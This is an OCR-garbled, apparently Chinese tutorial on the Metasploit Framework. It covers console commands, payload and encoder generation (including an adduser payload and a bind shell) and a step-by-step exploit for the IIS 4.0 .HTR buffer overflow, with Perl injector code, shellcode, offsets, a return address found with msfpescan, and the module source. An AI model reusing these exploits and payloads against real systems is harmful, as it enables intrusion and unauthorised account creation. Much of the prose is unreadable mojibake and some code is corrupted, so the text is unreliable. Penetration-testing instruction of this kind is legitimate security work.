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17T Metasploit Framework L4 kAi T BB 3.0 WS, 1 HOF AR E 59T T &S, L
BT perl T8 H KRR AR N, (MM TIFR4ERA T Ruby 5, Fril FChmst
BA#ELL 3.0 BAS kB, (R 2. BRAS BOAR DG A S PR UE IR o

[RAS AR R ]
[2.X]F8 X Metasploit Framework 2.x JA
[3.0] 454X Metasploit Framework 3.0 Jit A .

[ 452 Ir) 78]

HT NS, MSF 2238 AE, Fr AT 48 T Metasploit Framework
SEAT AR, KA T ARIC

1 8 22 %% H 5% J& E:\Program Files\Metaspl oit Framework, It H 5% R 45 bin,home,lib %5 H 3¢,
W7 A )42 home Hsk, TIATFH K H. \home [1Ax 10 TE K

[ 1] (1) R

Exploit: Befg AT B A3 2] B br RGFEHIB R EAR, £ 801 exploit (1 payload Al
injector (FEAFE/F) 41k, payload HioiHUfS REMESHIRG MEAFET 5T
F4 payload 13 5 2 AH M. A7 I T ) R G

Payload : H:sumh e/~ X L) shellcode, #%HHIFR “H7 28 A 7

Shellcode : Ftifd )7 A% OANRY,  RERS LIS R HIR, — ot I g —A shell, J&—
LI G AR ) 16 3 5

Injector : AHXJ shellcode K i3t, ‘& SLHLINZAKI% shellcode, F& kiR [a] bl 45 Dy he s

B-Attacker : Buffer Attack Strings, & “ I 7457 Be+iR [0 ik +shellcode” (41444, i

W RIHA A IR Z2 X, AR5 SRR FIAOF AT shellcode;

Encoder : #if#s, Bk shellcode K124 41 & A= rifi B INTE exploit B —BeARAS, 3
BT fie 5B shellcode I A£

Decoder : fif#tfid s, T shellcode £ it encode J& .48 TCE8Y IE MR REIAT, W0 2Ek AT
iR A3 Ji B 5K 1) shellcode, — 4 /% 7E shellcode H ;

[ B A

gy th A B 7 ik, RO P DAAE [ P % 0K 8 sl 1k 1 AT T

1. Metasploit Framework &k http://www.metasploit.com/
2. ActivePerl Fadh ks http://www.ActiveState.com
3. Ruby bk http:/Awww.ruby-lang.org
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—., Mti& CIntroduction)

Metasploit Framework (MSF); & 2003 4= LA JEelsA S 77 kAt Al B BRI I &
RERL, XA 2B NNA . shellcode 25 A WS4l T —ANTEERE G . 2.x HE
SRR I 00 S 1) Perl 9 fVE 5 95 1, SRBHTRAS 3.0 R T Ruby JFh. AL
T &G B W% IR AR AT shellcode, I HANWT 8T, oA MSF 40,4
T 176 FEFX U ETRAT R E RGN AR exploit, LA 104 4 shellcode.

M 24T R, BrE 22l 20 EHBAEZ M. SIEFH MSF, #h
Tl 9 BRI LA 2 B I R e IR SR AT I ORBs o [N R, KRR T
Exploit [ I A& J& SRR TT & 1 5 AR I EEK

—. St (Environment)
[~

[2.X]MSF $2 i = Fh %2 H /75, Console Interface. Command Line I nterface 1 Web Interface.
1)msfconsolexy WAl GH -, ot RS BE H, XA ERIEAN 4,
2)msfcli X} i.command linefZ 30, J& B s AL MR 1, M Cygshell4] I LB =CUH AE
[ 2] B A2 K

3)msfweb H 2R it L web i 1T, BRI EF] JFhttp://127.0.0.1:55555/ , IX AN SR EH M .
ARG Bimsfweb ), & HIL—A~emd % 11, X R Frwebix] i ds (1B , i
M http://127.0.0.1:55555/ 5 fit % £ AL 11 T

[3.0]MSFE it T Metasploit 3 (web%i 1) , Ruby shell filemd shell =F 42 75 . 5[2.X]
FHXTRY, - 3.0/ consolefbi 2 4K i i:Metaspl oit3 web 7t [ H .

VR R REAE2 X O, FT T web St i Ja #RANREC A B emd & 11, 15 llweb
Hi g5 as K 1 EIEAT

Frameworkfi —/N KB AE i R S8, o0 W A m A8 it )l A o
D ARARRMBCE A LRSS A seg, K34 R R MR BRI

[3.0]
MSFA: JR AR IR A2 AT BEE R, IR E AR IS E, nT LR W R g

>> set logging 1
logging=>1


http://127.0.0.1:55555/
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Name Value

logging 1

HoAth ) — Lo 0] DL 22 AT RO B T 835 [ 2.x]..\home\framework\docs\Environment.txt

[2.X]

VIR 2B MSPRE B 2 1 B 4F 4 Je AR i, — MO TRk 1 ekesl, Lt
msf > setg
AlternateExit: 2 Hperfift B Ze B R AL
DebugLevel: 0 IR Bl
Encoder: Msf::Encoder::PexFnstenvMov /4 i A5 b 5 fo7
Logging: 0 & 5 A 2 AT 15 B
Nop: Msf::Nop::Pex 175755 B e

RandomNops: 1
{Ef3E BN & DebugLevel, ZRIA[FDebugLevel i 0, RN IHIAE R, 7£3.0
AN OIS B AR R 6 b ARIERAME T LABCE 2, il L8R AR
RICTT R A B, R BCE BBt AT PRl %, — AR A .

BN T IREAR RS, AR DAH] saveriy & K G B A7 if 2 H 5%
[3.0]C:\Documents and Settings\Administrator\.msf3
[2.X] ..\home\.msf

PRI ABEAT AR G A 50, MSFAE U Sl #H5KE 13 i config HL 145 5L

2) JE AR — Sl I AR, A 7E T exploiths M SFEE SRy N\ I A 3 | PHi I i 1
5y AR ORAT A X L R I R R T R AR R I Ay A setR A . XML
Z IR TR

(B3 — P21 JE setgir 2 A B R R AR i (AR B, setgBERE R i As sl b 4 Jm s i, Ll
AR EEPE LA, AR IR — e SEOR AR, FA/RE 0T BLUH setgrir & X set
4, WL SEAT N A R R, WD,

=. msfconsoleffi it B (Use msfconsole)

MSF{E i 2N I 7772, DU FAiTk Lhconsol e & SR AT I8 7R

[2.X] % FEmsfconsol ebll 7]

[3.0] & St Amsfweb.cmd, 3t 2 PR EE G [Metasploit 3], #IUALIE 8 2 H shipk i uT
Ifi: http://127.0.0.1:55555/ , i%+consolefiiz,,

1) T EEMA, AT LAFEmst N A hel pfi B AR DG I iy 4
msf > help
Metaspl oit Framework Main Console Help

? Show the main console help


http://127.0.0.1:55555/

cd Change working directory

exit Exit the console

help Show the main console help

info Display detailed exploit or payload information
quit Exit the console

reload Rel oad exploits and payl oads

save Save configuration to disk

setg Set agloba environment variable
show Show available exploits and payl oads
unsetg Remove a global environment variable
use Select an exploit by name

version Show console version

2) — AT Ronr H fexploit, fRATLL{EmSE R i A fir 2-show exploits. Exploitst LA
BSDIT Sk 2 ET X BSD AR LM, LALIinIT kK2 £ A Linux R e,  LLCMDATWINTT 3k
2T X Windows & 4

Showir & 11250 5:  exploits, encoders, payl oads,nops,options®: , K ] LU A A
ST A .

3) Show exploitsZ J&, VA LAGE AR ISR, Aixd 71 th Bt R AT 5E 1
Al LA Ninfo, J5ik4n R usage: info [type] <module name>.

Ebd: msf > info windows sd_pct

4)  WURARR XA SRR, IR AT A msf > usewindows ssl_pect o AN/
115, ARPTLAMEAELinux shell POISFESE AR 70 i %, SRS AEFH TABEE F 8 4h 42

5 RO BEN T windows ssl_pctfifF, ©HRHESHE, IRLAUHE RBERE. 1
show optionsi] DL 7 i) 75 25 4 52 MR e 2 44

msf windows _ssl_pct > show options

Exploit Options

Exploait: Name Default Description

required RHOST The target address

required RPORT 443 Thetarget port

optional PROTO raw The application protocol (raw or smtp)

HorbrequiredfT J2 MRS H¥ E, RHOST/E Hir R4 R b, RPORT/E Hbr R4
(RS T, BRIAE 443, Optional {7 /& il 3k 12 5.
6) R YL VOT XA T, IEANERRER 1 B R, H setfiy 4 n] LLBE R
AR . FALIXFE:

msf windows_ssl_pct > set RHOST 192.168.1.1 (i 4 i Sz 5 i 5 & )

RHOST ->192.168.1.1
X A7 L FE T T e 2 I AR T, AR m LA«

msf windows_ssl_pct > show advanced

WIRIXESHL, SRIGATROE



7) B, A7 SRR B R BEE T check SR S HBE e T I A H AR R G A n]
DA

8) ZH¥EsetEE, IR show targets K i exploit SCHFHEAE RGEK AL

msf windows _ssl_pct > show targets

Supported Exploit Targets

Windows 2000 SP4
Windows 2000 SP3
Windows 2000 SP2
Windows 2000 SP1
Windows 2000 SPO
Windows XP SPO
Windows XP SP1
Debugging Target

N o 0ok WON B O

[FIFER S 2 set i & K BUE S HL:
msf windows_ssl_pct > set target 5
target -> 5
9) AR WU E H bR EHLEER 1) exploit £ 48— payload, ZLT7E HARHLAR
IEAT M SAFA PR A A% 00400, shellcode )& 13X M .
1217 show payloads i %), MSF 27 th 5 exploit e %1 payload %155 .
msf windows _ssl_pct > show payloads
Metaspl oit Framework Usable Payl oads

win32_adduser Windows Execute net user /JADD
win32_bind Windows Bind Shell

win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind stg Windows Staged Bind Shell

win32_bind_stg upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_downloadexec Windows Executable Download and Execute
win32_exec Windows Execute Command

afli ] set PAY LOAD win32_bind {74, B [#]—~> shell 1] payload Bi# A2 T exploit
LN
b. WX} payloads 7 %€ ], AT LUK A info iy & HEATE5 ;734 show advanced iy 41
AT, R A AN AT i G S B ) B IR AT A
CAENN payload Ji, WAZFN —LE BRI IE AR B € » fiTH show options fix & & SR
H set HEATAR SR BEE -
diE5EHIa, IR LU save fir 28 41 I BC B A config, {8 H S H] .
10) #Ja DSR2 AE msf M exploit #E47 it 1. MSF K payload (3% #4021 AR &
PR LA H netcat EAT #AM) HE R BRAE
msf windows _ssl_pct(win32_bind) > exploit

i

o



Py, AEEA2(Modules)

ARATREAN 2 MSF 2/, P [3.0] (LAl HI7E web LRI console # R, [2.X]
(B ELAS FITE msfeli BEAF .

[2.X] Metasploit Framework\home\framework H 3% FA7F8CT BT AT gk, F 22 perl
S E

[3.01 Bt A7 7E Metasploit Framework\Framework3\framework\modules H 3¢, F %
tH Ruby 75 5 5 .

B T exploit ik, MSF i ft AR R, . Fihfidk (Auxiliary Modules).
AT (Payload Modules), ¥ 7B Atk (Nop Modules), #mfiibl (Encoders) % .

[BO]HIRAT AT LAMEH use $i7 & B AR REATACER WA st n] LLYE CMD shell K1) 4t 2
framework H % 1, %A ruby msfpayload 4%, Biffe /& 225 T ruby 48

[2X]H AT LA Cygshel, #RJ57E command I msfpayload. msfencode %5454k, it
B SeH AT 445 i) Command Line Interface.

1) Gk

[3.0]
HHB BT exploit BB, 2T \module\auxiliary , ‘& HIERER b T 4445 exploit ff
B, 12 SR, PR LIE TS5 DS, Scanner 45 AN 3 payload B{# target 14
JPI TR AE TR

>> use dos/windows/smb/ms06_035_mailslot
>> show options
Module options:

Name Current Setting Required Description
MAILSLOT  Alerter yes The maildot name to use
RHOST yes The target address
RPORT 445 yes Set the SMB service port
>>set RHOST 1.2.34
RHOST =>1.2.34
>> run

[*] Mangling the kernel, two bytes at atime...

2) Ffuy it

[3.0]
BEHAE 8 A7 A LA R B AL

.\famework\modul es\payl cads\singles



MAEPAT I 2 R PR, AR A
.\framework\lib\msf\core
PRA] L use K FHAH G payload, W1'F:
>>use php/bind_perl
TMi{E payload 5B AR (#5400 W] Rk 7% generate 74, FR ] LUK generate —h 255 141
i U] :
>> generate—h
Usage: generate [options]
Generates a payl oad.
OPTIONS:
-b <opt> Thelist of charactersto avoid: "\xOO\xff'
-e<opt> The name of the encoder module to use.
-h Help banner.
-o<opt> A commaseparated list of optionsin VAR=VAL format.
-s<opt> NOPsdledlength.
-t <opt> The output type: ruby, perl, c, or raw.

o, -t 2800 Tt shellcode, it AIA% U4 ruby, perl, ¢ Fl raw. 3R] EURR 95 /R Y
G R I Rk E
-e HRIERE I 2%, IXANKEAE 4 gmhdtsidie B A 3,

ZEFINR
>> use wi ndows/adduser

>> show options
Module options:

Name Current  Setting Required Description

EXITFUNC seh yes Exit technique: seh, thread, process
PASS yes The password for this user

USER metasploit yes The username to create

>> set USER gzlx
USER => gzix
>>set PASS 123
PASS=>123
>> generate-t c
/*
* windows/adduser - 189 bytes
* http://www.metaspl cit.com
* EXITRUNC=seh, USER=gz1x, PASS=123
*/

LA 45 s
R AR AE AT (1) payload,  [RIAF: AT AFE S 5 45 14 .ro J80E H 3 S A TINEK


http://www.metasploit.com

[2.X]
HEN Cygshell Jii, i A\ msfpayload Rl i] 7 2 51 Hi i) payl oads.
ERFS/I

msfpayload <payl oad> [var=val] <S|C|P|R|X>

Horp, 2SR o I I BIIE R 28 C FoR A N T C P IIA Rtk

SR P FRIRFAL T PERL R HIAT RUA380: S80 R AR N SR ks XA &% 53
SR X R T AT SRS S R b 3
e, AEAR A RO B A2 th AR A T AL B, BT, Ak payload
A DL R TE L BORE A, AR AT g s A B
245«

$ msfpayload win32_exec CMD=notepad.exe EXITFUNC=process R >exec
A= exec 5EA74E.\ home (Ei# .\home\framework), f&Ku]LL7E Cygshell FHiA pwd >k
B AT H s, AT LUE unix shell FL—FEHET od H sk A4

3) AT B

Pl B, ste FORIAFE IR IR I A AE (B MG R, A—wdeBE s
FNOP, HELFEFFABMR “FHH” Marfres, —FESMEIRE maH, HEE K
P A ik, T HAT payload. IX AR KFERE F Rl T exploit, {2 A5 R I

[3.0]
PREER 4l 52 £V 7. \framework\modul es\nops

BAER 20 B BiR[3.0], hTAMRGEG RIS AR, Bl 7Bl A s
XS AN AR GEA TR, ARR] DL R0 WY ) A 1t o
{EAF —FE M2 AR H generate 454 I 1] LAY & 25 7 B K/

U1: msf nop(opty2) > generate -t ¢ 50
Kol —B CIEF AN 504 “TCH” T X B

[2.X]
PEER Al 2 7E: . \home\framework\nops

Al Alpha. MIPS. PPC. SPARC 1A At % B (K B4 R G 25 7- B, — e
x86 R4tH ik H Pex Fll Opty2. Pex BEA4: 717 T8, Opty2 Al LA 1 2] 6 4515
UE =R

4) A

[3.0]

Rk 5E 748 framework\modules\encoders H 5% .

BUAE AR Sk 2R 2) AT IR HLfY) generate —e, IX MBI Ak 1 58 AN () S 2% .
25451«

>> use windows/exec

>> set CMD notepad.exe

CMD => notepad.exe



>> generate -b "\x00" -e shikata ga nai -tc
/*

* windows/exec - 151 bytes

* http://www.metaspl oit.com

* Encoder: x86/shikata_ga _nai

* EXITFUNC=seh, CMD=notepad.exe

*/
unsigned char buf[] =

LT A4

Horfr,

generate -b "\x00" -e shikata _ga nai -t c

ZH-b FREBTFF 0x00, Z%(-e $5KH] shikata_ga_nai Zifid #5217 9mis, Z40-t fakih
o CilEFE %

[2.X]
{RA] LAFE Cygshell R A7 -h 2511 msfencode, 17 gmfith 4 (104 FH 77 1%:
$ msfencode -h

Usage: /home/framework/msfencode <options> [var=vd]

Options:
-i <file> Specify the file that contains the raw shell code
-a<arch> The target CPU architecture for the payl oad
-0 <0s> The target operating system for the payl oad
-t <type> The output type: perl, c, or raw
-b <chars> The characters to avoid: "XOO\xFF
-s<size> Maximum size of the encoded data

-e<encoder>  Try to usethis encoder first

-n<encoder>  Dump Encoder Information

-l List al available encoders

Horpr, 28 fire TR SO (BRFERPBD, -adiE CPU HYZRAY, -o fi @ #AE &

G, tIREH AR, b RE TR BRI TAT, -sTREgid)n shellcode 11711
e, e e H BT MDA, -n Rong g E R, -1 BRI i
—RcHh, W R ARARR BT R g 1K) shellcode, 84 HERFE I gm Bt 2% 1 Alpha2 il
PexAlphaNum,

H T i, FATTE SR e B 1) e AR B #s msfpayload AR i — M ARK
#ifir payload, 2R )5 F 4wt msfencode Zfs
WF K PexAlphaNum 4ifith e 4= il — A perl #% X (1) shellcode:

$ msfpayl oad win32_exec CMD=notepad.exe R >exec

$ msfencode -i exec -b \x00' -e PexAlphaNum —t perl

[*] Using Msf::Encoder:: PexAlphaNum with final size of 357 bytes
"\xeb\x03\x59\xeb\x05\xeB\xf 8\ fFIAXFI\Xff\x4f\x49\x49\x49\x49\x49".
IV
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o OB~ WN

Ti. Exploit 1% (Develop Exploit with MSF)

T Exploit (P&, B ANBARBI R E S FBP R SHRE RSN AT
R, (HZWEFH MSF Ik, BRKFEX AR AL 11S4.0 HTR 22X
HOA B, R MSF T R R

WA G2 ph X s AL T, LS sk B,

BOLLURSAIURE), 0T T A0S, 2 IR HOR LR 5 BLSRE B

1 i€ HbrIIRAE S
BAINH NSAOHTR, @ AEdwii Atz )G, TATLATE eBEye $ B XA I 145 .-
MRS AR R — AN K SR A R R4 ) htr SOOI TR, s R AR H . 1S
B B ARG RIS, RS IET] 1SM SRR T AR B, R 1S g
AT ISM DLL #A AT SO 4 R RS S I, Py LA RIS — AN 2 KISk 4,

A HTTP 1.0 BSOR SR index.html BT ) GET K-
GET /index.html HTTP/1.0 \r\n\r\n
Pr LA BRAT IR 3 2 1S K
GET /abcdefghij klmnopgrstuvwxyzabedefghijkl mnopgrstuvwxyz.htr HTTP/1.0 \r\n\r\n

2) TfE s injector
— % injector T Tt =fFZF: In# shellcode, YEFEIR[AIMbE, %% shellcode.
BATSAETEHE N exploit HERLZE H, -

$payload =

"\x6ax50\x59\xdO\xee\xdo\X 74\x24\xfA\x5b\x81\x 73\x 13\x2e\xcalx 16".
A A W

"\xcO\x84\xfe\xcalx16\x7hb";

$string = "GET /*;

$string .= "A" x 589;

$string .= "\x7b\x94\x81\x7c";
$string .= $payload;

$string .=".htr HTTP/1.0\\n\r\n";

open(NC, "|nc.exe 127.0.0.1 80");
print NC $string;
close(NC);

b, 455 140K payload, 2-9 B1J injector, 4 Ayi[aldidl, FATEAE Rifditie
CRERITT . 7-9 A RIEACRY, KPR ZGEAE . T Sstring B & B-Attacker.

A2 injector = L EL iy i W LL R e ?

T 3. 4 47 R[AIHHEAENR? AR [A]H 0L S RAT 20 R] A A7 XA a) %
SR LA A B ?



(1) 5 IR B3 bk A7
T A X Y, 20 o 3R [Pl KA 2k shellcode AR H ). B4 iR [A]
HhEAEAT 2 W ? AT LGS perl IAIAISGOK A E -

Ppattern =

"AaDAalAa2Aa3AadAabA abAarAaBAa9AbOAbLIAB2A b3AB4ADBSAD6AD7ABBALIACO" .
TR AR

"Fc3Fc4Fc5Fc6Fc7 Fc8FcOFdOFdLFA2F;

$string = "GET /",
$string .= $pattern;
$string .=".htr HTTP/1.0\\n\r\n";

open(NC, "|nc.exe 127.0.0.1 80");
print NC $string;
close(NC);

Hrp, pattern 2z &4H 11 MSF ()22 e8 31 PatternCreate() 4, ‘& ¥4 4 Hi 15 & K1) ASCII
FLEFA, i HAE 4 ANMES T RN, KR R R I R T 2 04
o AMEH perl —e ‘use Pex;print Pex:: Text::PatternCreate(1280)° >k pattern 78 & .

MAEFAILE inetinfo.exe B0 —MNHRAS, AT perl BIA)S, Rl R, IXE
B EIP AR 8, /N HERI 0x74413674, ASCII 2k tAGt, F4FHRHI L t6AtL,
IXFE H Ak pattern FL t6AT (A7 B HI W] .

7 MSF ) SDK H# T —4 44 patternoffset.pl JHIA & AT LLAR J5 8 i 45 1
pattern 75 & UG N F 45 5 (10 % &, G perl patternOffset.pl 0x74413674 1280 455
b 589, AL UL, fEIR [MIHLHEFTAT 589 T T EH LR XM F A, 4 exploit 4T
A PR3 I TG SR 7 A B A A BT ¥ 2I0R R bk A, 17 7 3 (AT bk b A BATT B V1 1
Hihl, XAEEAEAE shellcode HUAT 3T HRH R Ge s hiIAL

ML o, AT E T 590 £ 593 X PUAN 715 S # P 103R [ bk A7

(2) iR B btk fE

R3] TR PIMHE AL B, HAR AL BATTRE LF I IR [P R R ANM B o 3K AN IR [
HE— A& 17 shellcode 4 HIAL, windows I FIAR 2> A A% unix R48, BT LLE B R
F HL () shellcode /EAT AN, TR SL 71k .

LRI M S S A A Z AP 2R M, W SR FoA T A 4545 1) shellcode, B4 it
XA FRAE B IO B R EIP A, 4R R I &5 T EIP F5 ) (ki je 3.4
EEIM T A, B shellcode T .

AW 2w IR perl BIAI 145 &, nTBAEE] EAX J&451) 593 F kb, A4
FATERAE shellcode 5k A 593 AT LA T o B4, HELIRATHRE]—AN A call eax 1)
BATE EIPH, MFE IR AT EIP s, w2k shellcode.

AR, AT RS R IILABL I A AF A R AR Y, tn] DU IR Ee 25 A7 45 . bhln ESI fi 1)
585 75 kb, FATAI LI shellcode 5 4F 593 7 Wi JFAA L J7, 1idE ESI 4517 (1) #h 5 H 78
—A~ jmp short 6 $54, Bk 593 FAT LA AL, 1AE IR P MR 590 7 AR A call esi F



A, MFEFEY, BPAT EIP, 1 EIP WA call esi, es iR A jmpe4, A
FERT DABkEL 2| 593 45 H- 4 b AT shellcode.

AT R T, 2B HEA call eax IXAEHHE 2B ?

H1 ¥ windows #R AR EPE, AAFIEE S A L (K, ANFRIPLAS LRk A HiE
windows RGAEINEAT LR S dil SCPFIN A ORAFAE T AR 9305, Bl mr DAAAT XL dil
WEB IR AL B H . dil S04 kernel32.dIl, ntdlLdll 5078 —28 nls SCAf-

WRETTERMAN AT, TATEZEA AR MSF B4 LR IXEEF74
[2.X]

& framework H s FH AT R, 44 msfpescan, Jizh Cygshell, F-ATTH] LA &k 2 4k,
wre:

$ msfpescan -h
Usage: /home/framework/msfpescan <input> <mode> <options>
Inputs:
-f <file> Read in PE file
-d <dir> Process memdump output
Modes:
- <reg> Search for jump equivalent instructions
-S Search for pop+pop+ret combinations
-X <regex>  Search for regex match
-a <address> Show code at specified virtual address
-D Display detailed PE information
-S Attempt to identify the packer/compiler
Options:

-A  <count>  Number of bytes to show after match
-B  <count>  Number of bytes to show before match
-l address  Specify an dternate ImageBase

-n Print disassembly of matched data

AR BATRT AT N ) iy 4 4% 32 jmp eax 804 call eax 454

$ msfpescan -f C:/WINDOWS/SY STEM32/kernel32.dll -j eax
0x7c811e66  push eax

0x7c83998f  push eax

0x7c85d514  jmp eax

0x7c85f43b  jmp eax

0x7c8f4571  jmp eax

0x7c8f4621  jmp eax

Ox7c8f4d27  jmp eax

/D



[3.0]
Ja%) CMD shell, BIAWIT:

D:\Program Files\Metaspl oit\Framework3>cd framework

D:\Program Files\Metaspl oit\Framework3\framework>ruby msfpescan -h
Usage: msfpescan [ mode] <options> [targets]

Modes:
-j, —-jump [regA,regB,regC] Search for jump equivalent instructions
-p, --poppopret Search for pop+pop+ret combinations
-r, --regex [regex] Search for regex match

-g, --analyze-address [address]  Display the code at the specified address
-b, --analyze-offset [ of fset] Display the code at the specified offset

-f, --fingerprint Attempt to identify the packer/compiler
Options:

-M, --memdump The targets are memdump.exe directories

-A, --dfter [bytes] Number of bytes to show after match (-a/-b)

-B, --before [bytes] Number of bytes to show before match (-a/-b)

-1, --image-base [address] Specify an alternate ImageBase

-h, --help Show this message

IR A FAT AT LAMI[2. ] — R4 21 3% 7] Ml

D:\Program Files\Metaspl oit\Framework3\framework>ruby msfpescan -f C:/WINDOWS/ SY
STEM32/kernel32.dIl -j eax

[C:/WINDOWS/SY STEM32/kernel32.dl1]
0x7c809ffb call eax

0x7c80de7b call eax

0x7c811e66 push eax; ret

0x7c81947b call eax

0x7c837aa6 cal eax

0x7c83998f push eax; ret

0x7c839b07 call eax

W/l GRSy

U7, BAIBEM R — ANk, f1 0x7c81947b, HFEF] 590 F| 593 IX PY AN A Ab k] LA
T RTINS, PTEAS e $string .= "\X7b\x94\x81\x7c";

M4 N K2 € shellcode AR SR B T, FEULZ 1T, FRAIATLER A — FHREZ A
A R 1) 25 Rk 4540 shellcode.



ga b~ W NP

~N O

(3) #ffy & v HI#e 1A)
Tl vy P 2 T i £ B ) D7 VR M 3 R A M, Rl e i) B AR B, T BB
ﬂﬂﬂﬁlﬂ: perl Hﬂ]*

$string = "GET /*;

$string .= "\xCC" x 589;

$string .= "\x85\x63\XfAX77";
$string .= "\xCC" x 1000;
$string .=".htr HTTP/1.0\\n\r\n";

open(NC, "|nc.exe 127.0.0.1 80");
print NC $string;
close(NC);

55 2471 589 4> CC A HFe IR MM bk iy (1 A7 2 34704 msfpescan i & [ Hi ik,
%5 447 H] 1000 A~ CC A5 ik e 7Rk Al Mtk 2 I ) LAY o

FIAEEE LRSS, SR, XN EH ANAX, LA SN 0x00FOCCC %
OxO0FOFFF #i# #4F CC tH7, MZEmigséil 1o HutIATvHE R Rk 2 54
FFFH-CCCH+1H=334H=820 77250 1XFE S SL 0 m] FH 2% 7] 4 589+820=1409 7,

WIRTT AT 200, EARGOR I HnEs F], (FEFRATRT AR jmp i 2 KIEH LN A7,
KRR AR R A B T B KRR, 48R, — R 820 T DA EAZ 2.

3) ffisE shellcode
WEPY ., B2 AT B N gm A AR R A 2B 1), BRATTPT AR MSF 1R
HRAF 3] Y shellcode,

PA[2.X] T A -

7 FF msfweb, %4+ payload, $k3] Windows Bind Shell, exitfunc %4 process, i
HERIN K 4444, #RJ5 generate #1521 T 75 2 shellcode.

HE# T WEB FLIf1 B 1) payload 42 i,  DRUDA fin 487575 B 77 2 msfpayl oad 4% 7 3
A, Rt msfencode >k AF i payload, Hrbr s = AR sl 22 5l /b (1) ) 8, I LAAE AR i) payl oad
442 (E WEB FHiH R kAT

4) 5¢5% exploit
¥ injector 1 shellcode 21575 —#2, Whoe/k I & o) exploit. 4 taa4s i i) exploit

HEZE



75~ Exploit #25% (Integrated Exploits)

MSF [#3R KAALEILAE Exploit H3)A42 sFIIF RN b, 55— Ao AE R
(1) exploit Stk U AT LABEIN X MSF 24797 )2, A H 21 exploit 57 shellcode. iX
WUEARAT , ARAT—NET exploit AOUEA:#R BE DU AOEE B E) MSF H, 1y HLAE TRk 1
MSF, ibkshA& ) exploit TF R AR AR R 8. X RIHE LK 1) exploit TT &t 06 %t ik .

T [2X R3O AT KB T LR, BATHGES I iTie.
1) MSF 2.x 2 1

[2X) 2 T 0 ) perl 8 5 PRI, SIS 5 T 2T R, HESE (i —A
BB L ST IRIT A

(1) ZWHTAEHE
H LA use fir I, G IEETAEA — NG, DLEREIEFE exploit, [AJH AR
P T PR 454 Yinfo A1 Yadvanced. 33X PN 45 F 444% MSF 345 1% explot
R BB BAAT B, O RAESH. BIERGE LS, W2 A7
show payloads fir & I H i /s AN R GE0) W) payl oads.
AR AR B A R, R exploit 2 [R) A e PR AR R AT
(1, HEEPAT set v Al LLR B AR R 151 %A1 exploit #nl DLSZEUZME . S
A S FE % A, Hrp4$E Encoder #1 Nops.

(2) BLABEH 2 By
BESR MSF & 38 T HEQLRIBEEL ), 4 LR 1) exploit Nz AT AL 4584 ITEL,
FATAFTFEZEST—A exploit, THEAGIH— exploit ik,

FATLL.. \framework\exploits ] iis40_htr.pm 41 :

package Msf::Exploit::iis40_htr;
use base "Msf::Exploit";
usestrict;

use Pex::Text;

TG W] iy 44 A ) §is40_htr s 2R Ok — £y 75 B Gl 6 2 MsfiExploit, £k ) L
7E. \framework\lib\Msf\Exploit.pom $k £, IXFF 1is40_htr K 2k 7k M55 Al 1) Ja 1 R ek 4
PR —f)2 perl 3%, AEHZAEH A, KPR IR B GE AT Bea
—h) FHEH] Pex:Text, 71\ framework\lib\Pex\Text.pm, Sz — 65 A fHE R 74
AL S D RE .

W OE exploit, X B FHEAE MR AT package Msf::Exploit::iis40_htr; —f].

R Kt & Yvadvanced F1%info 4544 T
my $advanced = { };
1F 1is40_htr iX > exploit 115 1] £ advanced 4514, frbh k4.



my $info =
{
'‘Name' =>'l1S4.0 .HTR Buffer Overflow’,
‘Version' =>'$Revision: 1.7 $,
'Authors' => [ 'Stinko', ],
'‘Arch’ =>[ 'x86'],
‘oS =>[ 'win32', 'winnt'],
Privt =>0,
IR 5 I %, Name J15 exploit (4%, Version 8iAS, Authors $51E+#, ArchigH
ARG RS 451, OSTERGUEE, Priv 4571 i 28 B AR .

'UserOpts  =>
{
'RHOST' => [1, 'ADDR, 'Thetarget address],
'RPORT' =>[1, 'PORT', Thetarget port', 80],
'SSL'  =>[0,'BOOL', 'Use SSLT,
H
Jril UserOpts #4525 7 N BIME,  tbin RHOST 45 H s RGE ik, X HApA~-1
BAFEIANZH, B MR L DATRE K, HI{E show options It FAT17% 21 required
F optional, W E N 13K required; 5 ANE MSF ER ISR, MSF AKEEX AN AT I
At s SR IR AR PR A S DY BOARE R, W RPORT
) 80 AEERINBEE) 80 i [

'Payload' =>
{
'Space’ =>2048,
'MaxNops => 0,
'‘MinNops' => 0,
‘BadChars =>
join("", map{ $_=chr($_) } (0x00 .. 0x2f)).
join("", map{ $_=chr($ ) } (0x3a.. 0x40)).
join("", map{ $_=chr($_) } (0x5b .. 0x60)).
join("", map{ $_=chr($) } (0x7b .. Oxff)),
|3
Payload <% £ %info [ — Mt (BFK A hash), &0 T 8 IR AL B
Space 1B XA IS BOE BT IR RN, IAREXAME LA, A 5132 20 BT 1
i, LB G A A A TCVR A B 1k B TRUE O INESR s R ORI S B
Kviv; BadChars $i5 5 it s LM BRI AN 5 25K 1K 74

'Description’  => Pex::Text::Freeform(qq{
This exploits a buffer overflow inthe ISAPI ISM.DLL used
to process HTR scripting in 1S 4.0. This modul e works against
AR AR W
1



Description $5% exploit AR5 5, 33X 75 B A 20R AR 16 45 Pex::Text:: Freeform()
SUSHIBIE 741 el 1 S W T

'Refs’  =>
[
[OSVDB, 33257,
['BID', '3071,
[CVE, '1999-08741,
['URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html 7,
['MIL', 261,

1.
Refs T-8AH Y TS5 % %R, ol BID 8 MSF 8 %, www.securityfocus.com/bid/

'‘DefaultTarget' => 0,
Targets' => [

['Windows NT4 SP3', 593, 0x77f81a4d],

['Windows NT4 SP4', 593, 0x77f7635d],

['Windows NT4 SP5', 589, 0x77f76385],

1

Targets 1 HEARE H b RGN R G, OUANF) payload Bz AT AEIEMI RS L.
EABEOP NN RGIAL, IR Bl B AR A A
DefaultTarget Hok 45 e BRIA I EE R SE,  thlnsbBil= 0 $51 WindowsNT4 SP3 .

'Keys' =>[liis],
'DisclosureDate’ => 'Apr 10 2002,
Keys 7 FHT- MSF i€, ifii DisclosureDate i exploit 12445 H .

XFE%info LR BEE 5 T, I ACHT Y exploit i, U S0 AH Y K 7 BEAT A2 B0
LT

P SR G EE

sub new {
my $cl ass = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @ );
return($self);
}
Sub new s R I R AL, ERF QI —ASETIRNS, I X 5 4414 %info Al %advanced %X
it ERAHEBEN.

MBI SR, BUERIE AT exploit:


http://www.eeye.com/html/research/advisories/AD19990608.html
http://www.securityfocus.com/bid/

sub Exploit
{
